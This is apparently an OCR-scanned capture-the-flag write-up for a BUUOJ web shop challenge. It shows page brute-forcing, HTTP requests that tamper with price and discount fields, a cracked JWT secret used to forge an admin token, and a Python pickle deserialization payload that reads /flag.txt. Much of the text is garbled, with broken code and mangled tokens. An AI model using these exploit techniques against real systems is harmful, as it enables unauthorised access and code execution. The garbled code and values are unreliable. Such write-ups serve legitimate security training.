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from urllib import request

url = "http://web44.buuoj.cn/shop?page="

for i in range(10090):
response = request.urlopen(url+str(i))
if "lve.png" in response.read().decode( 'utf-8"):
print(i)
break

python3 lv6.py
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Raw | Params | Headers | Hex

POST /shopcar HTTP/1.1

Host: web44.buuoj.cn

Content-Length: 106

Cache-Control: max-age=0

Origin: http://web44.buuoj.cn

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://web44.buuoj.cn/shopcar

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: _xsrf=2|eeebbccf|27£16991838d984814calabea3b3as8fe|1560424354;
JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJI9.eyJ1lc2VybmFtZSI6InR1c3QyIn0.0ZtjBb1Kd9gBWKN26msRSA9URKDAMIFXACivt-E07_s;

commodity id="2|1:0|10:1560425479|12:commodity_id|8:MTYyNA==|e99c2da3569729a2586f0dab5b677df4c25da8c5c9be0d3988a626e2923ala05"”
Connection: close

_xsrf=2%7C9b88e343%7C5292361df6eec7c461a955e2d6d0£772%7C156042435481id=1624&price=1145141919.0&discount=0.8

ADEFAMEAITHEE, ERERREESCI0ERKITINEN0, HMERERIERY. ..

POST /shopcar HTTP/1.1

A <div class="right menu">
Host: web44.buuoj.cn r <a class="ui item" href="/user">PAHIl </a>
Content-Length: 106 <a class="ui item" href="/shopcar">M¥EF </a>
Cache-Control: max-age=0 </div>
Origin: http://web44.buuoj.cn
Upgrade-Insecure-Requests: 1 </div>
Content-Type: application/x-www-form-urlencoded </div>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) </div>
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 </div>
Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apn
g,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://web44.buuoj.cn/shopcar
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;g=0.9 <div class="alert alert-danger ui warning msessage center aligned text
Cookie: _xsrf=2|eeebbccf|27£16991838d984814calabea3b3as8fe|1560424354; container">
JWT=eyJhbGciOiJIUzI1NiISINR5cCI6IKpXVCIY.eyJlc2VybmFtZSI6InR1c30yIn0.oZtjB BRIERM,
b1Kd9gBWKN26msRSA9URKDAMIFXACivt-E07_s; </div>
commodity_ id="2|1:0[10:1560425479|12:commodity id|8:MTYyNA==|e99c2da356972 <script> —




Yazbsbrudabbbb / /dr4czbdaschbcybeldsyssabzoezyzialavs” $( .alert’).ntml( #RTFAUMX, ').addClass( alert

Connection: close alert-danger').show().delay(1000).fadeOut();
</script>

_xsrf=2%7C9b88e343%7C5292361df6eec7c461a955e2d6d0£772%7C1560424354&id=1624

&price=1145141919.0&discount=0. 0|

<div class="jumbotron">

<h1>M¥ZE</h1>
<p>F</p>
POST /shopcar HTTP/1.1 A HTTP/1.1 302 Found A
Host: web44.buuoj.cn P Content-Length: 0 r
Content-Length: 118 Content-Type: text/html; charset=UTF-8
Cache-Control: max-age=0 Date: Thu, 13 Jun 2019 11:37:17 GMT
Origin: http://web44.buuoj.cn Location: /blg_mémber
Upgrade-Insecure-Requests: 1 Server: TornadoServer/5.0.2
Content-Type: application/x-www-form-urlencoded Connection: close

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
HAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apn
g,*/*;q=0.8,application/signed-exchange;v=b3

Referer: http://web44.buuoj.cn/shopcar

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: _xsrf=2|eeebbccf|27£16991838d984814calabea3b3a8fe|1560424354;
JWT=eyJhbGci0iJIUzZIINiIsInR5cCI6IkpXVCJI9.eyJlc2VybmFtZSI6InR1c3QyIn0.0ZztjB
b1lKd9gBWKN26msRSAIURKDAMIFXACivt-EO07_s;

commodity id="2|1:0[10:1560425479|12:commodity_ id|8:MTYyNA==|e99c2dp356972
9a2586f0dab5b677df4c25da8c5c9be0d3988a626e2923alal5"

Connection: close

_xsrf=2%7C9b88e343%7C5292361df6eec7c461a955e2d6d0£772%7C1560424354&1d=1624

&price=1145141919.0&discount=0.0000000000001
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HEADER: SORITHM
eyJhbGci0iJIUzITNiIsInR5cCI6IkpXVCJ9.eyJ
1c2VybmFtZSI6InR1c3QxIn@. {

"alg": "HS256",
"typ": "JWT"
}
PAYLOAD: DA
{
"username": "test1"
}

VERIFY SIGNATURE
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Secret is "1Kun"
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HEADER: ALGOF
eyJhbGci0iJIUzITNiIsInR5cCI6IkpXVCJ9.eyJ
1c2VybmFtZSI6ImFkbWluIn®. {
"alg": "HS256",
"typ": "JWT"
}
PAYLOAD: DA
{
"username": "admin"

}

VERIFY SIGNATURE

BRI K44 BiadminfIJWT, #RJGcookied#tTiEk, REMEEERT

® ALZE | web44.buuoj.cn/blg_mimber
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» web44.buuoj.cn | _xsrf


https://github.com/brendan-rius/c-jwt-cracker

» web44.buuoj.cn | commodity_id

~ web44.buuoj.cn | JIWT

&

eyJhbGciOiJIUzI1NiISINR5cCI6IkpXVCI9.eyJ1c2VybmFtZSI6ImFkbWIuIn0.400n
“ __HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

@ .
oA
web44.buuoj.cn
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<div class="ui text container login-wrap-inf">

<l-- BREEEX, REHIXT -->

<a href="/static/asd1£654e683wq/www.zip" ><span style="visibility:hidden">MIFEMEEIFEE TIFHRAEIXE</span></a>
<div class="ui segments center padddd">

<t-- WFFEBRBER, BRMEMNER, RYERRAFR -->

<div class="ui segment">

<img src="/static/img/b.png" alt=""/>

<p>admin</p>
FEVRRS T %k =k
main.py __init__.py __init__.py
sshop > base.py Admin.py
models.py Shop.py
settings.py User.py
template 4
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AdminHandler(BaseHandler):
@tornado.web.authenticated
get(self, xargs, s*kkwargs):
if .current_user == "admin":
return .render('form.html', res='This is Black Technology!', member=0)
else:

return .render('no_ass.html')

@tornado.web.authenticated
post(self, *xargs, *xxkwargs):
try:
become = .get_argument( 'become")
p = pickle.loads(urllib.unquote(become))




except:

return .render('form.html', res='This is Black Technology!', member=0)
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POST /blg_mdmber HTTP/1.1

Host: web44.buuoj.cn

Content-Length: 79

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Origin: http://web44.buuoj.cn

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,image/apng,*/*;gq=0.8,application/signed-exchange;v=b3
Referer: http://web44.buuoj.cn/blg_mémber

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: _xsrf=2|eeebbccf|27£16991838d984814calabea3b3a8fe|1560424354;
commodity_id="2|1:0|10:1560425973|12:commodity_id|8:MTYyNA==|eaalc714d3bc98a4a9582495dca907341193e3d7528015da735f83ad8dfalb9f";
JWT=eyJhbGciOiJIUzIINiIsInR5cCI6IkpXVCIY.eyJlc2VybmFtZSI6ImFkbWluIn0.400on_ HO8B2-wM1ZSwax3ivRK4j54jlaxv-1Jj0ynjo

Connection: close

T

_xsrf=2%7C44797£fb2%7C8d63aaec291£5b35be58c91309216b83%7C15604243548become=admin
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payload:

import pickle
import urllib

class payload(object
def _ reduce__ (self
return (eval "open('/flag.txt','r").read()"

a = pickle.dumps(payload
a = urllib.quote(a
print a
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POST /blg_mé4mber HTTP/1.1

Host: web44.buuoj.cn

Content-Length: 178

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36

Origin: http://web44.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Accept:

text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apn
g,*/*;q=0.8,application/signed-exchange;v=b3

Referer: http://web44.buuoj.cn/blg _mémber

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cookie: _xsrf=2|eeebbccf|27£16991838d984814calabea3b3a8fe|1560424354;
commodity_ id="2[1:0|10:1560425973|12:commodity id|8:MTYyNA==|eaalc714d3bc9
8a4a29582495dca907341193e3d7528015da735£83ad8dfalb9f";
JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCI9.eyJlc2VybmFtZSI6ImFkbWluIn0.400n_
_HQ8B2-wM1ZSwax3ivRK4j54jlakv-1JjQynjo

Connection: close

_xsrf=2%7C44797£fb2%7C8d63aaec291£5b35be58c91309216b83%7C1560424354&become=
c__builtin__ %0Reval%0Ap0%0A%28S%220pen%28%27/flag.txt%27%2C%27r%27%29.read
%28%29%22%0Ap1%0Atp2%0ARP3%0A.
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<div class="ui text container login-wrap-inf">
<!-- BREEER, RERIRXT -->
<a href “/statlc/asd1f654e683wq/www zip" ><s

style="visibility:hidden" >MJI§EE%“J¥£QTH’FEEJZE</Span></a>

<div class="ui segments center padddd">
<!-- MSFAEERME, BEiRWdnE, [INEERAFR -->

<div
<img

class="ui segment">
src="/static/img/b.png" alt=""/>

<p class="color_pink">admin</p>

<img class="lv" src="/static/img/member.png" alt=""/>

</div>

<div class="ui segment">flag{68rm4mj8hukk5wbkc50c34e8h3wirs2y}

</div>

<div class="ui segment">

<form action="/blg_mémber" method="post">

<input type="hidden" name="_xsrf"
value="2|46cdl6al|8fd7c3ff2bab3226bcecal000b950290|1560424354" />

<input hidden="hidden" type="text" class="f-m ui segment" name="become"
placeholder="" value="admin" required>

<div class="group">
<button type="submit"
</div>

</form>

</div>

Sraie

">—@AKREFA</button>

class="ui secondary button
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